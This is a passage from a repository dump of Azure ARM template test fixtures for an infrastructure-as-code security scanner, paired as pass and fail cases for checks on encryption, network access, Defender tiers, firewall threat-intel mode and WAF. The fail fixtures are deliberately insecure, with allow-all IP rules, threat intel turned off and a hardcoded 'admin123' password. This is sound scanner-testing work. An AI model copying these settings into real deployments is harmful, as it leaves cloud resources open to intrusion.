"location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": true, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, "detailedErrorLoggingEnabled": true, "publishingUsername": "$pike", "scmType": "None", "use32BitWorkerProcess": false, "webSocketsEnabled": false, "alwaysOn": false, "managedPipelineMode": "Integrated", "virtualApplications": [ { "virtualPath": "/", "physicalPath": "site\\wwwroot", "preloadEnabled": false } ], "loadBalancing": "LeastRequests", "experiments": { "rampUpRules": [] }, "autoHealEnabled": false, "vnetRouteAllEnabled": false, "vnetPrivatePortsCount": 0, "cors": { "supportCredentials": false }, "localMySqlEnabled": false, "managedServiceIdentityId": 484, "ipSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictions": [ { "ipAddress": "Any", "action": "Allow", "priority": 2147483647, "name": "Allow all", "description": "Allow all access" } ], "scmIpSecurityRestrictionsUseMain": false, "http20Enabled": true, "minTlsVersion": "1.2", "scmMinTlsVersion": "1.2", "ftpsState": "FtpsOnly", "preWarmedInstanceCount": 0, "elasticWebAppScaleLimit": 0, "healthCheckPath": "/health", "functionsRuntimeScaleMonitoringEnabled": false, "minimumElasticInstanceCount": 0, "azureStorageAccounts": { "shady": { "type": "AzureFiles", "accountName": "piketest", "shareName": "pike", "mountPath": "/mount/shady" } } } }, { "type": "Microsoft.Web/sites/hostNameBindings", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "siteName": "pike", "hostNameType": "Verified" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AutomationEncrypted/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "type": "Microsoft.Automation/automationAccounts/variables", "apiVersion": "2020-01-13-preview", "name": "fail", "properties": { "name": "tfex-example-var", "value": "Hello, Arm Basic Test.", "isEncrypted": false }, "dependsOn": [ "[resourceId('Microsoft.Automation/automationAccounts', 'example')]" ] } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_AutomationEncrypted/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "type": "Microsoft.Automation/automationAccounts/variables", "apiVersion": "2020-01-13-preview", "name": "fail1", "properties": { "name": "tfex-example-var", "value": "Hello, Arm Basic Test." }, "dependsOn": [ "[resourceId('Microsoft.Automation/automationAccounts', 'example')]" ] } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_AutomationEncrypted/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "type": "Microsoft.Automation/automationAccounts/variables", "apiVersion": "2020-01-13-preview", "name": "pass", "properties": { "name": "tfex-example-var", "value": "Hello, Arm Basic Test.", "isEncrypted": true }, "dependsOn": [ "[resourceId('Microsoft.Automation/automationAccounts', 'example')]" ] } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_AzureBatchAccountEndpointAccessDefaultAction.py/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2024-02-01", "name": "fail_explicit_publicNetworkAccess", "properties": { "publicNetworkAccess": "Enabled", "networkProfile": { "accountAccess": { "defaultAction": "Allow" } } } }, { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2024-02-01", "name": "fail_default_publicNetworkAccess", "properties": { "networkProfile": { "accountAccess": { "defaultAction": "Allow" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureBatchAccountEndpointAccessDefaultAction.py/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2024-02-01", "name": "pass_empty", "properties": { } }, { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2024-02-01", "name": "pass_publicNetworkAccess_disabled", "properties": { "publicNetworkAccess": "Disabled" } }, { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2024-02-01", "name": "pass_publicNetworkAccess_enabled_no_network_profile", "properties": { "publicNetworkAccess": "Enabled" } }, { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2024-02-01", "name": "pass_publicNetworkAccess_enabled_no_account_access", "properties": { "publicNetworkAccess": "Enabled", "networkProfile": { } } }, { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2024-02-01", "name": "pass_publicNetworkAccess_enabled_default_action_deny", "properties": { "publicNetworkAccess": "Enabled", "networkProfile": { "accountAccess": { "defaultAction": "Deny" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureBatchAccountUsesKeyVaultEncryption/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.26.54.24096", "templateHash": "5620168434409602803" } }, "parameters": { "batchAccountName": { "type": "string", "defaultValue": "[format('{0}batch', toLower(uniqueString(resourceGroup().id)))]", "metadata": { "description": "Batch Account Name" } }, "storageAccountsku": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[format('{0}storage', uniqueString(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2023-01-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountsku')]" }, "kind": "StorageV2", "tags": { "ObjectName": "[variables('storageAccountName')]" }, "properties": { "minimumTlsVersion": "TLS1_2", "allowBlobPublicAccess": false, "networkAcls": { "defaultAction": "Deny" }, "supportsHttpsTrafficOnly": true } }, { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2024-02-01", "name": "fail", "location": "[parameters('location')]", "tags": { "ObjectName": "[parameters('batchAccountName')]" }, "properties": { "autoStorage": { "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]" ] } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" }, "batchAccountName": { "type": "string", "value": "[parameters('batchAccountName')]" }, "location": { "type": "string", "value": "[parameters('location')]" }, "resourceGroupName": { "type": "string", "value": "[resourceGroup().name]" }, "resourceId": { "type": "string", "value": "[resourceId('Microsoft.Batch/batchAccounts', parameters('batchAccountName'))]" } } } ================================================ FILE: tests/arm/checks/resource/example_AzureBatchAccountUsesKeyVaultEncryption/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.26.54.24096", "templateHash": "5620168434409602803" } }, "parameters": { "batchAccountName": { "type": "string", "defaultValue": "[format('{0}batch', toLower(uniqueString(resourceGroup().id)))]", "metadata": { "description": "Batch Account Name" } }, "storageAccountsku": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[format('{0}storage', uniqueString(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2023-01-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountsku')]" }, "kind": "StorageV2", "tags": { "ObjectName": "[variables('storageAccountName')]" }, "properties": { "minimumTlsVersion": "TLS1_2", "allowBlobPublicAccess": false, "networkAcls": { "defaultAction": "Deny" }, "supportsHttpsTrafficOnly": true } }, { "type": "Microsoft.Batch/batchAccounts", "apiVersion": "2024-02-01", "name": "pass", "location": "[parameters('location')]", "tags": { "ObjectName": "[parameters('batchAccountName')]" }, "properties": { "autoStorage": { "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]" }, "keyVaultReference": { "id": "test", "url": "https://test.com" } }, "dependsOn": [ "[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]" ] } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" }, "batchAccountName": { "type": "string", "value": "[parameters('batchAccountName')]" }, "location": { "type": "string", "value": "[parameters('location')]" }, "resourceGroupName": { "type": "string", "value": "[resourceGroup().name]" }, "resourceId": { "type": "string", "value": "[resourceId('Microsoft.Batch/batchAccounts', parameters('batchAccountName'))]" } } } ================================================ FILE: tests/arm/checks/resource/example_AzureDataExplorerDoubleEncryptionEnabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.Kusto/clusters", "location": "West Europe", "name": "fail", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "enableDoubleEncryption": false, "storageProfile": { "storageMB": "5120" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureDataExplorerDoubleEncryptionEnabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.Kusto/clusters", "location": "West Europe", "name": "pass", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "enableDoubleEncryption": true, "storageProfile": { "storageMB": "5120" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureDefenderOnKeyVaults/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Security/pricings", "apiVersion": "2024-01-01", "name": "KeyVaults", "properties": { "pricingTier": "Free", "extensions": [ { "name": "KeyVaults" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureDefenderOnKeyVaults/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Security/pricings", "apiVersion": "2024-01-01", "name": "KeyVaults", "properties": { "pricingTier": "Standard", "extensions": [ { "name": "KeyVaults" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureDefenderOnKubernetes/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "pricing": { "type": "string", "allowedValues": [ "Standard", "Free" ] } }, "resources": [ { "type": "Microsoft.Security/pricings", "apiVersion": "2017-08-01-preview", "name": "KubernetesService", "properties": { "pricingTier": "Free" } }, { "type": "Microsoft.Compute/disks", "apiVersion": "2023-01-02", "name": "[parameters('disks_acctestmd1_name')]", "location": "westus2", "tags": { "environment": "staging" }, "sku": { "name": "Standard_LRS", "tier": "Standard" }, "properties": { "creationData": { "createOption": "Empty" }, "diskSizeGB": 1, "diskIOPSReadWrite": 500, "diskMBpsReadWrite": 60, "encryption": { "type": "EncryptionAtRestWithPlatformKey" }, "networkAccessPolicy": "AllowAll", "publicNetworkAccess": "Enabled", "diskState": "Unattached" } } ]} ================================================ FILE: tests/arm/checks/resource/example_AzureDefenderOnKubernetes/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "pricing": { "type": "string", "allowedValues": [ "Standard", "Free" ] } }, "resources": [ { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "KubernetesService", "dependsOn": [ "[concat('Microsoft.Security/pricings/default')]" ], "properties": { "pricingTier": "Standard" } }, { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "KeyVaults", "dependsOn": [ "[concat('Microsoft.Security/pricings/SqlServers')]" ], "properties": { "pricingTier": "Standard" } }, { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "SqlServerVirtualMachines", "dependsOn": [ "[concat('Microsoft.Security/pricings/AppServices')]" ], "properties": { "pricingTier": "Standard" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureDefenderOnSqlServersVMS/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Security/pricings", "apiVersion": "2020-01-01", "name": "SqlServerVirtualMachines", "properties": { "tier": "Standard" } } ], "outputs": { "defenderResourceId": { "type": "string", "value": "[resourceId('Microsoft.Security/autoProvisioningSettings', parameters('defenderName'))]" } } } ================================================ FILE: tests/arm/checks/resource/example_AzureDefenderOnSqlServersVMS/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Security/pricings", "apiVersion": "2020-01-01", "name": "SqlServerVirtualMachines", "properties": { "tier": "Free" } } ], "outputs": { "defenderResourceId": { "type": "string", "value": "[resourceId('Microsoft.Security/autoProvisioningSettings', parameters('defenderName'))]" } } } ================================================ FILE: tests/arm/checks/resource/example_AzureDefenderOnStorage/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "fail", "properties": { "pricingTier": "Free", "resourceType": "Microsoft.Security/pricings" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureDefenderOnStorage/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Security/pricings", "apiVersion": "2018-06-01", "name": "pass", "properties": { "pricingTier": "Standard", "resourceType": "Microsoft.Security/pricings" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "azureFirewalls_fail_name": { "type": "String" }, "publicIPAddresses_testpip_name": { "type": "String" }, "virtualNetworks_testvnet_name": { "type": "String" } }, "resources": [ { "apiVersion": "2022-09-01", "location": "westeurope", "name": "[parameters('publicIPAddresses_testpip_name')]", "properties": { "ddosSettings": { "protectionMode": "VirtualNetworkInherited" }, "idleTimeoutInMinutes": 4, "ipAddress": "20.234.231.26", "ipTags": [], "publicIPAddressVersion": "IPv4", "publicIPAllocationMethod": "Static" }, "sku": { "name": "Standard", "tier": "Regional" }, "type": "Microsoft.Network/publicIPAddresses" }, { "apiVersion": "2022-09-01", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]" ], "location": "westeurope", "name": "[parameters('virtualNetworks_testvnet_name')]", "properties": { "addressSpace": { "addressPrefixes": [ "10.0.0.0/16" ] }, "dhcpOptions": { "dnsServers": [] }, "enableDdosProtection": false, "subnets": [ { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]", "name": "AzureFirewallSubnet", "properties": { "addressPrefix": "10.0.1.0/24", "delegations": [], "privateEndpointNetworkPolicies": "Enabled", "privateLinkServiceNetworkPolicies": "Enabled", "serviceEndpoints": [] }, "type": "Microsoft.Network/virtualNetworks/subnets" } ], "virtualNetworkPeerings": [] }, "type": "Microsoft.Network/virtualNetworks" }, { "apiVersion": "2022-09-01", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworks_testvnet_name'))]" ], "name": "[concat(parameters('virtualNetworks_testvnet_name'), '/AzureFirewallSubnet')]", "properties": { "addressPrefix": "10.0.1.0/24", "delegations": [], "privateEndpointNetworkPolicies": "Enabled", "privateLinkServiceNetworkPolicies": "Enabled", "serviceEndpoints": [] }, "type": "Microsoft.Network/virtualNetworks/subnets" }, { "apiVersion": "2022-09-01", "dependsOn": [ "[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]" ], "location": "westeurope", "name": "fail", "properties": { "additionalProperties": {}, "applicationRuleCollections": [], "ipConfigurations": [ { "id": "[concat(resourceId('Microsoft.Network/azureFirewalls', parameters('azureFirewalls_fail_name')), '/azureFirewallIpConfigurations/configuration')]", "name": "configuration", "properties": { "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]" }, "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]" } } } ], "natRuleCollections": [], "networkRuleCollections": [], "sku": { "name": "AZFW_VNet", "tier": "Standard" }, "threatIntelMode": "Alert" }, "type": "Microsoft.Network/azureFirewalls" } ], "variables": {} } ================================================ FILE: tests/arm/checks/resource/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "azureFirewalls_fail_name": { "type": "String" }, "publicIPAddresses_testpip_name": { "type": "String" }, "virtualNetworks_testvnet_name": { "type": "String" } }, "resources": [ { "apiVersion": "2022-09-01", "location": "westeurope", "name": "[parameters('publicIPAddresses_testpip_name')]", "properties": { "ddosSettings": { "protectionMode": "VirtualNetworkInherited" }, "idleTimeoutInMinutes": 4, "ipAddress": "20.234.231.26", "ipTags": [], "publicIPAddressVersion": "IPv4", "publicIPAllocationMethod": "Static" }, "sku": { "name": "Standard", "tier": "Regional" }, "type": "Microsoft.Network/publicIPAddresses" }, { "apiVersion": "2022-09-01", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]" ], "location": "westeurope", "name": "[parameters('virtualNetworks_testvnet_name')]", "properties": { "addressSpace": { "addressPrefixes": [ "10.0.0.0/16" ] }, "dhcpOptions": { "dnsServers": [] }, "enableDdosProtection": false, "subnets": [ { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]", "name": "AzureFirewallSubnet", "properties": { "addressPrefix": "10.0.1.0/24", "delegations": [], "privateEndpointNetworkPolicies": "Enabled", "privateLinkServiceNetworkPolicies": "Enabled", "serviceEndpoints": [] }, "type": "Microsoft.Network/virtualNetworks/subnets" } ], "virtualNetworkPeerings": [] }, "type": "Microsoft.Network/virtualNetworks" }, { "apiVersion": "2022-09-01", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworks_testvnet_name'))]" ], "name": "[concat(parameters('virtualNetworks_testvnet_name'), '/AzureFirewallSubnet')]", "properties": { "addressPrefix": "10.0.1.0/24", "delegations": [], "privateEndpointNetworkPolicies": "Enabled", "privateLinkServiceNetworkPolicies": "Enabled", "serviceEndpoints": [] }, "type": "Microsoft.Network/virtualNetworks/subnets" }, { "apiVersion": "2022-09-01", "dependsOn": [ "[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]" ], "location": "westeurope", "name": "fail2", "properties": { "additionalProperties": {}, "applicationRuleCollections": [], "ipConfigurations": [ { "id": "[concat(resourceId('Microsoft.Network/azureFirewalls', parameters('azureFirewalls_fail_name')), '/azureFirewallIpConfigurations/configuration')]", "name": "configuration", "properties": { "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]" }, "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]" } } } ], "natRuleCollections": [], "networkRuleCollections": [], "sku": { "name": "AZFW_VNet", "tier": "Standard" }, "threatIntelMode": "Off" }, "type": "Microsoft.Network/azureFirewalls" } ], "variables": {} } ================================================ FILE: tests/arm/checks/resource/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "azureFirewalls_pass_name": { "type": "String" }, "publicIPAddresses_testpip_name": { "type": "String" }, "virtualNetworks_testvnet_name": { "type": "String" } }, "resources": [ { "apiVersion": "2022-09-01", "location": "westeurope", "name": "[parameters('publicIPAddresses_testpip_name')]", "properties": { "ddosSettings": { "protectionMode": "VirtualNetworkInherited" }, "idleTimeoutInMinutes": 4, "ipAddress": "20.234.231.26", "ipTags": [], "publicIPAddressVersion": "IPv4", "publicIPAllocationMethod": "Static" }, "sku": { "name": "Standard", "tier": "Regional" }, "type": "Microsoft.Network/publicIPAddresses" }, { "apiVersion": "2022-09-01", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]" ], "location": "westeurope", "name": "[parameters('virtualNetworks_testvnet_name')]", "properties": { "addressSpace": { "addressPrefixes": [ "10.0.0.0/16" ] }, "dhcpOptions": { "dnsServers": [] }, "enableDdosProtection": false, "subnets": [ { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]", "name": "AzureFirewallSubnet", "properties": { "addressPrefix": "10.0.1.0/24", "delegations": [], "privateEndpointNetworkPolicies": "Enabled", "privateLinkServiceNetworkPolicies": "Enabled", "serviceEndpoints": [] }, "type": "Microsoft.Network/virtualNetworks/subnets" } ], "virtualNetworkPeerings": [] }, "type": "Microsoft.Network/virtualNetworks" }, { "apiVersion": "2022-09-01", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworks_testvnet_name'))]" ], "name": "[concat(parameters('virtualNetworks_testvnet_name'), '/AzureFirewallSubnet')]", "properties": { "addressPrefix": "10.0.1.0/24", "delegations": [], "privateEndpointNetworkPolicies": "Enabled", "privateLinkServiceNetworkPolicies": "Enabled", "serviceEndpoints": [] }, "type": "Microsoft.Network/virtualNetworks/subnets" }, { "apiVersion": "2022-09-01", "dependsOn": [ "[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]" ], "location": "westeurope", "name": "pass", "properties": { "additionalProperties": {}, "applicationRuleCollections": [], "ipConfigurations": [ { "id": "[concat(resourceId('Microsoft.Network/azureFirewalls', parameters('azureFirewalls_pass_name')), '/azureFirewallIpConfigurations/configuration')]", "name": "configuration", "properties": { "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]" }, "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]" } } } ], "natRuleCollections": [], "networkRuleCollections": [], "sku": { "name": "AZFW_VNet", "tier": "Standard" }, "threatIntelMode": "Deny" }, "type": "Microsoft.Network/azureFirewalls" } ], "variables": {} } ================================================ FILE: tests/arm/checks/resource/example_AzureFrontDoorEnablesWAF/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "17606357911537037484" } }, "parameters": { "frontDoorName": { "type": "string", "metadata": { "description": "The name of the frontdoor resource." } }, "backendAddress": { "type": "string", "metadata": { "description": "The hostname of the backend. Must be an IP address or FQDN." } } }, "variables": { "frontEndEndpointName": "frontEndEndpoint", "loadBalancingSettingsName": "loadBalancingSettings", "healthProbeSettingsName": "healthProbeSettings", "routingRuleName": "routingRule", "backendPoolName": "backendPool" }, "resources": [ { "type": "Microsoft.Network/frontDoors", "apiVersion": "2020-05-01", "name": "fail", "location": "global", "properties": { "enabledState": "Enabled", "frontendEndpoints": [ { "name": "[variables('frontEndEndpointName')]", "properties": { "hostName": "[format('{0}.azurefd.net', parameters('frontDoorName'))]", "sessionAffinityEnabledState": "Disabled" } } ], "loadBalancingSettings": [ { "name": "[variables('loadBalancingSettingsName')]", "properties": { "sampleSize": 4, "successfulSamplesRequired": 2 } } ], "healthProbeSettings": [ { "name": "[variables('healthProbeSettingsName')]", "properties": { "path": "/", "protocol": "Http", "intervalInSeconds": 120 } } ], "backendPools": [ { "name": "[variables('backendPoolName')]", "properties": { "backends": [ { "address": "[parameters('backendAddress')]", "backendHostHeader": "[parameters('backendAddress')]", "httpPort": 80, "httpsPort": 443, "weight": 50, "priority": 1, "enabledState": "Enabled" } ], "loadBalancingSettings": { "id": "[resourceId('Microsoft.Network/frontDoors/loadBalancingSettings', parameters('frontDoorName'), variables('loadBalancingSettingsName'))]" }, "healthProbeSettings": { "id": "[resourceId('Microsoft.Network/frontDoors/healthProbeSettings', parameters('frontDoorName'), variables('healthProbeSettingsName'))]" } } } ], "routingRules": [ { "name": "[variables('routingRuleName')]", "properties": { "frontendEndpoints": [ { "id": "[resourceId('Microsoft.Network/frontDoors/frontEndEndpoints', parameters('frontDoorName'), variables('frontEndEndpointName'))]" } ], "acceptedProtocols": [ "Http", "Https" ], "patternsToMatch": [ "/*" ], "routeConfiguration": { "@odata.type": "#Microsoft.Azure.FrontDoor.Models.FrontdoorForwardingConfiguration", "forwardingProtocol": "MatchRequest", "backendPool": { "id": "[resourceId('Microsoft.Network/frontDoors/backEndPools', parameters('frontDoorName'), variables('backendPoolName'))]" } }, "enabledState": "Enabled" } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureFrontDoorEnablesWAF/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "17606357911537037484" } }, "parameters": { "frontDoorName": { "type": "string", "metadata": { "description": "The name of the frontdoor resource." } }, "backendAddress": { "type": "string", "metadata": { "description": "The hostname of the backend. Must be an IP address or FQDN." } } }, "variables": { "frontEndEndpointName": "frontEndEndpoint", "loadBalancingSettingsName": "loadBalancingSettings", "healthProbeSettingsName": "healthProbeSettings", "routingRuleName": "routingRule", "backendPoolName": "backendPool" }, "resources": [ { "type": "Microsoft.Network/frontDoors", "apiVersion": "2020-05-01", "name": "pass", "location": "global", "properties": { "enabledState": "Enabled", "frontendEndpoints": [ { "name": "[variables('frontEndEndpointName')]", "properties": { "hostName": "[format('{0}.azurefd.net', parameters('frontDoorName'))]", "webApplicationFirewallPolicyLink": { "id": "anythingyoulike" }, "sessionAffinityEnabledState": "Disabled" } } ], "loadBalancingSettings": [ { "name": "[variables('loadBalancingSettingsName')]", "properties": { "sampleSize": 4, "successfulSamplesRequired": 2 } } ], "healthProbeSettings": [ { "name": "[variables('healthProbeSettingsName')]", "properties": { "path": "/", "protocol": "Http", "intervalInSeconds": 120 } } ], "backendPools": [ { "name": "[variables('backendPoolName')]", "properties": { "backends": [ { "address": "[parameters('backendAddress')]", "backendHostHeader": "[parameters('backendAddress')]", "httpPort": 80, "httpsPort": 443, "weight": 50, "priority": 1, "enabledState": "Enabled" } ], "loadBalancingSettings": { "id": "[resourceId('Microsoft.Network/frontDoors/loadBalancingSettings', parameters('frontDoorName'), variables('loadBalancingSettingsName'))]" }, "healthProbeSettings": { "id": "[resourceId('Microsoft.Network/frontDoors/healthProbeSettings', parameters('frontDoorName'), variables('healthProbeSettingsName'))]" } } } ], "routingRules": [ { "name": "[variables('routingRuleName')]", "properties": { "frontendEndpoints": [ { "id": "[resourceId('Microsoft.Network/frontDoors/frontEndEndpoints', parameters('frontDoorName'), variables('frontEndEndpointName'))]" } ], "acceptedProtocols": [ "Http", "Https" ], "patternsToMatch": [ "/*" ], "routeConfiguration": { "@odata.type": "#Microsoft.Azure.FrontDoor.Models.FrontdoorForwardingConfiguration", "forwardingProtocol": "MatchRequest", "backendPool": { "id": "[resourceId('Microsoft.Network/frontDoors/backEndPools', parameters('frontDoorName'), variables('backendPoolName'))]" } }, 